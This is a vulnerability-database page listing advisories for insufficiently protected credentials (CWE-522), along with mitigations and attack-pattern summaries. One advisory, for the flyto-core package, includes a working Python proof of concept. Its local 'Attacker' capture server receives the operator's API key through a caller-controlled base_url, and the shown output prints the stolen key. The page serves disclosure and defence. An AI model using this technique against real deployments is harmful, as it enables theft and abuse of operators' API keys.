CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1936 vulnerabilities reference this CWE, most recent first.
GHSA-QMVM-CCQ4-RPC7
Vulnerability from github – Published: 2026-03-12 15:30 – Updated: 2026-03-12 15:30A vulnerability allowing a low-privileged user to extract saved SSH credentials.
{
"affected": [],
"aliases": [
"CVE-2026-21670"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-12T15:16:13Z",
"severity": "HIGH"
},
"details": "A vulnerability allowing a low-privileged user to extract saved SSH credentials.",
"id": "GHSA-qmvm-ccq4-rpc7",
"modified": "2026-03-12T15:30:26Z",
"published": "2026-03-12T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21670"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4831"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QMXF-R2WH-HQPC
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30ovirt-engine API and administration web portal before versions 4.2.2.5, 4.1.11.2 is vulnerable to an exposure of Power Management credentials, including cleartext passwords to Host Administrators. A Host Administrator could use this flaw to gain access to the power management systems of hosts they control.
{
"affected": [],
"aliases": [
"CVE-2018-1074"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-26T17:29:00Z",
"severity": "HIGH"
},
"details": "ovirt-engine API and administration web portal before versions 4.2.2.5, 4.1.11.2 is vulnerable to an exposure of Power Management credentials, including cleartext passwords to Host Administrators. A Host Administrator could use this flaw to gain access to the power management systems of hosts they control.",
"id": "GHSA-qmxf-r2wh-hqpc",
"modified": "2022-05-13T01:30:40Z",
"published": "2022-05-13T01:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1074"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2018:1219"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1074"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QP9M-27HG-V883
Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2024-11-14 21:31An issue was discovered in Couchbase Server before 7.2.4. ns_server admin credentials are leaked in encoded form in the diag.log file. The earliest affected version is 7.1.5.
{
"affected": [],
"aliases": [
"CVE-2023-50436"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-29T01:42:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Couchbase Server before 7.2.4. ns_server admin credentials are leaked in encoded form in the diag.log file. The earliest affected version is 7.1.5.",
"id": "GHSA-qp9m-27hg-v883",
"modified": "2024-11-14T21:31:56Z",
"published": "2024-02-29T03:33:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50436"
},
{
"type": "WEB",
"url": "https://docs.couchbase.com/server/current/release-notes/relnotes.html"
},
{
"type": "WEB",
"url": "https://forums.couchbase.com/tags/security"
},
{
"type": "WEB",
"url": "https://www.couchbase.com/alerts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QPQ8-7FF2-687P
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-07-13 00:01Within the Open-AudIT up to version 3.5.3 application, the web interface hides SSH secrets, Windows passwords, and SNMP strings from users using HTML 'password field' obfuscation. By using Developer tools or similar, it is possible to change the obfuscation so that the credentials are visible.
{
"affected": [],
"aliases": [
"CVE-2021-3130"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-20T16:15:00Z",
"severity": "MODERATE"
},
"details": "Within the Open-AudIT up to version 3.5.3 application, the web interface hides SSH secrets, Windows passwords, and SNMP strings from users using HTML \u0027password field\u0027 obfuscation. By using Developer tools or similar, it is possible to change the obfuscation so that the credentials are visible.",
"id": "GHSA-qpq8-7ff2-687p",
"modified": "2022-07-13T00:01:24Z",
"published": "2022-05-24T17:39:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3130"
},
{
"type": "WEB",
"url": "https://opmantek.com/network-discovery-inventory-software"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/B0D0B0P0T/CVE/main/CVE-2021-3130"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQ78-6C6R-VW8M
Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43The Kickbase GmbH "Kickbase Bundesliga Manager" app before 2.2.1 -- aka kickbase-bundesliga-manager/id678241305 -- for iOS is vulnerable to a credentials leak due to transmitting a username and password in cleartext from client to server during registration and authentication.
{
"affected": [],
"aliases": [
"CVE-2017-14711"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-13T09:29:00Z",
"severity": "HIGH"
},
"details": "The Kickbase GmbH \"Kickbase Bundesliga Manager\" app before 2.2.1 -- aka kickbase-bundesliga-manager/id678241305 -- for iOS is vulnerable to a credentials leak due to transmitting a username and password in cleartext from client to server during registration and authentication.",
"id": "GHSA-qq78-6c6r-vw8m",
"modified": "2022-05-13T01:43:29Z",
"published": "2022-05-13T01:43:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14711"
},
{
"type": "WEB",
"url": "https://www.crissyfield.de/2017/11/09/sniffing-kickbase-traffic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQ9Q-XGM3-XV9G
Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-07-30 14:47Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67425"
],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:47:16Z",
"nvd_published_at": "2026-07-29T19:16:51Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`llm.chat` reads the operator\u0027s provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker\u0027s server hands them the operator\u0027s key. flyto-core\u0027s own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get(\u0027base_url\u0027) # caller-controlled\nif base_url:\n validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes\nif not api_key:\n api_key = os.getenv(\u0027OPENAI_API_KEY\u0027) # operator\u0027s key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip(\u0027/\u0027) + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload) # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker\u0027s public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\" # stand-in for the attacker\u0027s public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n def do_POST(self):\n CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n b = b\u0027{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}\u0027\n self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n def log_message(self, *a): pass\n\nasync def main():\n from core.modules.atomic import register_all\n from core.modules.registry import ModuleRegistry\n register_all()\n threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n res = await ModuleRegistry.execute(\"llm.chat\", params={\n \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n }, context={})\n print(\"module ok:\", res.get(\"ok\"))\n print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator\u0027s cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider\u0027s official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints \u2014 never auto-attach the operator\u0027s secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`\u0027s `base_url`.",
"id": "GHSA-qq9q-xgm3-xv9g",
"modified": "2026-07-30T14:47:16Z",
"published": "2026-07-30T14:47:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67425"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url"
}
GHSA-QQWQ-5J23-4R5C
Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37IBM BigFix Platform 9.5 - 9.5.9 stores user credentials in plain in clear text which can be read by a local user. IBM X-Force ID: 123910.
{
"affected": [],
"aliases": [
"CVE-2017-1231"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-12T05:29:00Z",
"severity": "HIGH"
},
"details": "IBM BigFix Platform 9.5 - 9.5.9 stores user credentials in plain in clear text which can be read by a local user. IBM X-Force ID: 123910.",
"id": "GHSA-qqwq-5j23-4r5c",
"modified": "2022-05-13T01:37:12Z",
"published": "2022-05-13T01:37:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1231"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/123910"
},
{
"type": "WEB",
"url": "https://www-01.ibm.com/support/docview.wss?uid=ibm10724511"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV37-MFJF-42H8
Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-31 16:00The collection remote for pulp_ansible stores tokens in plaintext instead of using pulp's encrypted field and exposes them in read/write mode via the API () instead of marking it as write only.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pulp-ansible"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3644"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-25T22:28:13Z",
"nvd_published_at": "2022-10-25T18:15:00Z",
"severity": "MODERATE"
},
"details": "The collection remote for pulp_ansible stores tokens in plaintext instead of using pulp\u0027s encrypted field and exposes them in read/write mode via the API () instead of marking it as write only. ",
"id": "GHSA-qv37-mfjf-42h8",
"modified": "2022-10-31T16:00:21Z",
"published": "2022-10-25T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3644"
},
{
"type": "WEB",
"url": "https://github.com/pulp/pulp_ansible/issues/1221"
},
{
"type": "WEB",
"url": "https://github.com/pulp/pulp_ansible/commit/d13c427b09482a7f598d8ee597d17a8a34888665"
},
{
"type": "PACKAGE",
"url": "https://github.com/pulp/pulp_ansible"
},
{
"type": "WEB",
"url": "https://github.com/pulp/pulp_ansible/blob/main/pulp_ansible/app/models.py#L234"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Plaintext storage of tokens in pulp_ansible"
}
GHSA-QV6Q-X9VR-W7J3
Vulnerability from github – Published: 2022-02-16 00:01 – Updated: 2023-10-27 19:14Jenkins Pipeline: Groovy Plugin 2648.va9433432b33c and earlier includes password parameters from the original build in replayed builds.
This allows attackers with Run/Replay permission to obtain the values of password parameters passed to previous builds of a Pipeline.
Pipeline: Groovy Plugin 2656.vf7a_e7b_75a_457 does not allow builds containing password parameters to be replayed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2648.va9433432b33c"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins.workflow:workflow-cps"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2656.vf7a_e7b_75a_457"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25180"
],
"database_specific": {
"cwe_ids": [
"CWE-319",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-20T22:47:17Z",
"nvd_published_at": "2022-02-15T17:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins Pipeline: Groovy Plugin 2648.va9433432b33c and earlier includes password parameters from the original build in replayed builds.\n\nThis allows attackers with Run/Replay permission to obtain the values of password parameters passed to previous builds of a Pipeline.\n\nPipeline: Groovy Plugin 2656.vf7a_e7b_75a_457 does not allow builds containing password parameters to be replayed.",
"id": "GHSA-qv6q-x9vr-w7j3",
"modified": "2023-10-27T19:14:18Z",
"published": "2022-02-16T00:01:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25180"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/workflow-cps-plugin/commit/886676efdd711e126307ec70a539f2fe613151f9"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-02-15/#SECURITY-2443"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Pipeline: Groovy Plugin has Insufficiently Protected Credentials"
}
GHSA-QVFV-5H6H-R46W
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:46Search Guard versions before 23.1 had an issue that an administrative user is able to retrieve bcrypt password hashes of other users configured in the internal user database.
{
"affected": [],
"aliases": [
"CVE-2019-13421"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-23T14:15:00Z",
"severity": "MODERATE"
},
"details": "Search Guard versions before 23.1 had an issue that an administrative user is able to retrieve bcrypt password hashes of other users configured in the internal user database.",
"id": "GHSA-qvfv-5h6h-r46w",
"modified": "2024-04-04T01:46:43Z",
"published": "2022-05-24T16:54:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13421"
},
{
"type": "WEB",
"url": "https://docs.search-guard.com/6.x-23/changelog-searchguard-6-x-23_1"
},
{
"type": "WEB",
"url": "https://search-guard.com/cve-advisory"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SySS-2018-025.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.